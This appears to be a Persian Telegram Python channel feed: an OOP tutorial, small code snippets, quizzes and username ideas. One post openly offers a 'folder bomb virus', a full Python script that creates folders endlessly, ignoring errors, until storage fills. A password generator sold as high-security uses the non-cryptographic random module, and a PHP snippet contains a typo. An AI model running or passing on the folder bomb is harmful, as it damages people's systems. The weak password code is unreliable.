🆕️ آموزش شیگرایی در پایتون رو هم داریم بریم که توضیح بدم👇❗️
شیگرایی (Object-Oriented Programming یا OOP) یک روش برنامهنویسی است که حول مفهوم "اشیا" و "کلاسها" بنا شده است. در این آموزش، ما به بررسی اصول پایه شیگرایی در پایتون، از جمله کلاسها، اشیا، وراثت و چندریختی میپردازیم.
1. کلاسها و اشیا
کلاسها قالبهایی برای ایجاد اشیا هستند. هر کلاس میتواند ویژگیها (متغیرها) و متدها (توابع) خاص خود را داشته باشد.
در این مثال، یک کلاس به نام
2. وراثت (Inheritance)
وراثت به شما اجازه میدهد تا یک کلاس جدید را بر اساس یک کلاس موجود تعریف کنید و ویژگیها و متدهای آن را به ارث ببرید.
در این مثال، کلاس
3. چندریختی (Polymorphism)
چندریختی به شما اجازه میدهد تا از متدهای یکسان با رفتارهای مختلف در کلاسهای مختلف استفاده کنید.
در این مثال، کلاسهای
4. کپسولهسازی (Encapsulation)
کپسولهسازی به مخفی کردن جزئیات داخلی یک کلاس و فراهم کردن دسترسی کنترل شده به آنها میپردازد.
در این مثال، ویژگی
---
🟥این آموزش مفاهیم پایهای شیگرایی در پایتون را پوشش میدهد. با یادگیری این اصول، میتوانید برنامههای پیچیدهتر و منعطفتری بنویسید واقعا اگه اموزشای منو دوست دارین کانال منو به دوستانتون معرفی کنید😉👇
🔗https://t.iss.one/hamidpython123
---
شیگرایی (Object-Oriented Programming یا OOP) یک روش برنامهنویسی است که حول مفهوم "اشیا" و "کلاسها" بنا شده است. در این آموزش، ما به بررسی اصول پایه شیگرایی در پایتون، از جمله کلاسها، اشیا، وراثت و چندریختی میپردازیم.
1. کلاسها و اشیا
کلاسها قالبهایی برای ایجاد اشیا هستند. هر کلاس میتواند ویژگیها (متغیرها) و متدها (توابع) خاص خود را داشته باشد.
# تعریف یک کلاس ساده
class Dog:
# متد سازنده
def __init__(self, name, age):
self.name = name
self.age = age
# متدی برای معرفی سگ
def bark(self):
print(f"{self.name} is barking")
# ایجاد یک شی از کلاس Dog
dog1 = Dog("Buddy", 3)
# دسترسی به ویژگیها و متدهای شی
print(dog1.name) # خروجی: Buddy
print(dog1.age) # خروجی: 3
dog1.bark() # خروجی: Buddy is barking
در این مثال، یک کلاس به نام
Dog
تعریف کردهایم که دو ویژگی name
و age
دارد و یک متد bark
برای صدای سگ.2. وراثت (Inheritance)
وراثت به شما اجازه میدهد تا یک کلاس جدید را بر اساس یک کلاس موجود تعریف کنید و ویژگیها و متدهای آن را به ارث ببرید.
# تعریف یک کلاس پدر
class Animal:
def __init__(self, name):
self.name = name
def eat(self):
print(f"{self.name} is eating")
# تعریف یک کلاس فرزند که از Animal ارث میبرد
class Cat(Animal):
def meow(self):
print(f"{self.name} is meowing")
# ایجاد یک شی از کلاس Cat
cat1 = Cat("Whiskers")
# دسترسی به ویژگیها و متدهای کلاس پدر و کلاس فرزند
cat1.eat() # خروجی: Whiskers is eating
cat1.meow() # خروجی: Whiskers is meowing
در این مثال، کلاس
Cat
از کلاس Animal
ارثبری کرده است و میتواند از متد eat
استفاده کند و متد meow
را هم به خود اضافه کند.3. چندریختی (Polymorphism)
چندریختی به شما اجازه میدهد تا از متدهای یکسان با رفتارهای مختلف در کلاسهای مختلف استفاده کنید.
# تعریف یک کلاس پدر
class Bird:
def sound(self):
print("Bird is making a sound")
# تعریف کلاسهای فرزند که از Bird ارث میبرند
class Sparrow(Bird):
def sound(self):
print("Sparrow is chirping")
class Crow(Bird):
def sound(self):
print("Crow is cawing")
# استفاده از چندریختی
def make_sound(bird):
bird.sound()
# ایجاد اشیا از کلاسهای فرزند
sparrow = Sparrow()
crow = Crow()
# استفاده از تابع make_sound
make_sound(sparrow) # خروجی: Sparrow is chirping
make_sound(crow) # خروجی: Crow is cawing
در این مثال، کلاسهای
Sparrow
و Crow
هر دو متد sound
را بازنویسی کردهاند و میتوانند با استفاده از تابع make_sound
صدای خاص خود را تولید کنند.4. کپسولهسازی (Encapsulation)
کپسولهسازی به مخفی کردن جزئیات داخلی یک کلاس و فراهم کردن دسترسی کنترل شده به آنها میپردازد.
# تعریف یک کلاس با ویژگیهای خصوصی
class BankAccount:
def __init__(self, balance):
self.__balance = balance # ویژگی خصوصی
# متد عمومی برای دسترسی به ویژگی خصوصی
def get_balance(self):
return self.__balance
# متد عمومی برای تغییر ویژگی خصوصی
def deposit(self, amount):
if amount > 0:
self.__balance += amount
# ایجاد یک شی از کلاس BankAccount
account = BankAccount(1000)
# دسترسی به ویژگیها و متدهای کلاس
print(account.get_balance()) # خروجی: 1000
account.deposit(500)
print(account.get_balance()) # خروجی: 1500
در این مثال، ویژگی
__balance
خصوصی است و تنها از طریق متدهای get_balance
و deposit
قابل دسترسی و تغییر است.---
🟥این آموزش مفاهیم پایهای شیگرایی در پایتون را پوشش میدهد. با یادگیری این اصول، میتوانید برنامههای پیچیدهتر و منعطفتری بنویسید واقعا اگه اموزشای منو دوست دارین کانال منو به دوستانتون معرفی کنید😉👇
🔗https://t.iss.one/hamidpython123
---
Telegram
Python3
🎓 آموزش و پروژههای Python
آموزشهای کاربردی و پروژههای عملی Python برای همه سطوح. 🚀
آموزشهای کاربردی و پروژههای عملی Python برای همه سطوح. 🚀
👍3
Forwarded from ᴀᴍɪʀ
👍2
🔴این یه کدی هست که میاد برسی میکنه محتوای متغیر $makoran در آرایه $array وجود داره یا نه
کد باحالی بود میتونید استفاده کنید
🔗https://t.iss.one/hamidpython123
کد باحالی بود میتونید استفاده کنید
Php
<?php
$array = array("action1", "action 2", "action 3");
$makoran = "action2";
$exists = in_array($makoran, $array);
if ($exists) {
echo "$makoran مقدار یافت شد";
} else {
echo "$makoram مقدار یافت نشد";
}
?>
🔗https://t.iss.one/hamidpython123
چرا پایتون را "قابل حمل" مینامند؟
Anonymous Quiz
30%
به دلیل اینکه پایتون یک زبان برنامهنویسی است که میتواند بر روی تمام سیستمها و پلتفرمها اجرا شود
0%
به دلیل اینکه پایتون یک زبان برنامهنویسی است که میتواند در هر محیط و معماری نرمافزاری استفاده شود
53%
همه موارد فوق
17%
چون پایتون یک زبان برنامه نویسی دارای ابزار و کتابخانه های زیادی برای توسعه نرم افزار است
⁉️یه ویروس هست اسمش بنب پوشه هست کل حافظه سیستمو پر میکنه بعد اجرا باعث میشه رو پردازنده فشار بیاد بزارم؟
Python3
⁉️یه ویروس هست اسمش بنب پوشه هست کل حافظه سیستمو پر میکنه بعد اجرا باعث میشه رو پردازنده فشار بیاد بزارم؟
🆕️این یه برنامه هست به اسم بنب پوشه یک حلقه بینهایت. میسازه و بینهایت تا پوشه در سیستم ایجاد میکنه و هر اروری رو نادیده میگیره و به کارش ادامه میده تا وقتی حافظه سیستم کاملا پر بشه و به بورد فشار میاره ❗️
🟥کانال منو به دوستاتون معرفی کنید و اگه خودتون عضو نیستین عضو بشین👇👇
🔗https://t.iss.one/hamidpython123
import os
import random
import string
import time
def generate_random_name(length=8):
"""Generate a random string of fixed length."""
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for _ in range(length))
def create_folders(base_path):
"""Continuously create folders with random names."""
while True:
folder_name = generate_random_name()
folder_path = os.path.join(base_path, folder_name)
try:
os.makedirs(folder_path)
print(f"Created folder: {folder_path}")
except Exception as e:
print(f"Error creating folder {folder_path}: {e}")
# Optional: Pause between creations to avoid overwhelming the system
# time.sleep(0.1) # Adjust the sleep time as needed
if __name__ == "__main__":
base_path = "./" # Change this to your desired base path
create_folders(base_path)
🟥کانال منو به دوستاتون معرفی کنید و اگه خودتون عضو نیستین عضو بشین👇👇
🔗https://t.iss.one/hamidpython123
Telegram
Python3
🎓 آموزش و پروژههای Python
آموزشهای کاربردی و پروژههای عملی Python برای همه سطوح. 🚀
آموزشهای کاربردی و پروژههای عملی Python برای همه سطوح. 🚀
🆕️اگه نمیدونین چه اسمی برای اکانت تلگرام یا حر جایی بزارین که هم خفن باشه هم مربوط به بقیه نشون بده برنامه نویسین اینارو پیشنهاد میکنم😉
1. PythonWizard
2. CodeNinja
3. TechGuru
4. ByteMaster
5. ScriptSorcerer
6. DataMaestro
7. PythonSage
8. ByteBrawler
9. CodingChampion
10. CodeGoddess
11. DevWhiz
12. ByteBoss
13. PythonProphet
14. SpeedScripter
15. TechMagician
16. CodeWarrior
17. PythonPhenom
18. ByteWhisperer
19. CreativeCoder
20. CodeLuminary
21. PythonKing/PythonQueen
22. ByteGuru
23. TechEnchantress
24. CodeMastermind
25. PythonSleuth
26. ByteBolt
27. CyberSorcerer
28. CodeSlinger
29. PythonProdigy
30. ByteBlazer
این اسم هارو اگه دوست داشتین اینجا عضو بشین👇
🔗https://t.iss.one/hamidpython123
1. PythonWizard
2. CodeNinja
3. TechGuru
4. ByteMaster
5. ScriptSorcerer
6. DataMaestro
7. PythonSage
8. ByteBrawler
9. CodingChampion
10. CodeGoddess
11. DevWhiz
12. ByteBoss
13. PythonProphet
14. SpeedScripter
15. TechMagician
16. CodeWarrior
17. PythonPhenom
18. ByteWhisperer
19. CreativeCoder
20. CodeLuminary
21. PythonKing/PythonQueen
22. ByteGuru
23. TechEnchantress
24. CodeMastermind
25. PythonSleuth
26. ByteBolt
27. CyberSorcerer
28. CodeSlinger
29. PythonProdigy
30. ByteBlazer
این اسم هارو اگه دوست داشتین اینجا عضو بشین👇
🔗https://t.iss.one/hamidpython123
🆕️یک کد بهتون میدم برای تولید رمز تصادفی با امنیت بالا ایتوریه که یک عدد به عنوان تعداد ارقام بهش میدیم و اون رمزی با همون تعداد رقم به صورت تصادفی میسازه 👇
🟥اگه این برای رمز نگاری به کارتون اومد اینجا عضو و کانال منو به دوستانتون معرفی کنید 😉👇👇
🔗https://t.iss.one/hamidpython123
import random
import string
def generate_password(length):
password = ''.join(random.choices(string.ascii_letters + string.digits, k=length))
return password
user_number = int(input("لطفاً یک عدد وارد کنید: "))
password = generate_password(user_number)
print("رمز تولید شده: ", password)
🟥اگه این برای رمز نگاری به کارتون اومد اینجا عضو و کانال منو به دوستانتون معرفی کنید 😉👇👇
🔗https://t.iss.one/hamidpython123
Telegram
Python3
🎓 آموزش و پروژههای Python
آموزشهای کاربردی و پروژههای عملی Python برای همه سطوح. 🚀
آموزشهای کاربردی و پروژههای عملی Python برای همه سطوح. 🚀
فرض کنید شما یک لیست از اعداد صحیح دارید. میخواهید زیرلیستی با حداکثر تعداد اعضا با مجموع بیشترین مقدار را بیابید. در هر مرحله شما میتوانید دو عنصر مجاور را به هم اضافه کنید یا آخرین عنصر را حذف کنید. برخی اعضا ممکن است منفی باشند.
Anonymous Quiz
41%
الف) [1, -3, 2, 1]
27%
ب) [2, 1, -1]
23%
ج) [-3, 2, 1, -1]
9%
د) [1, -3, 1, -1]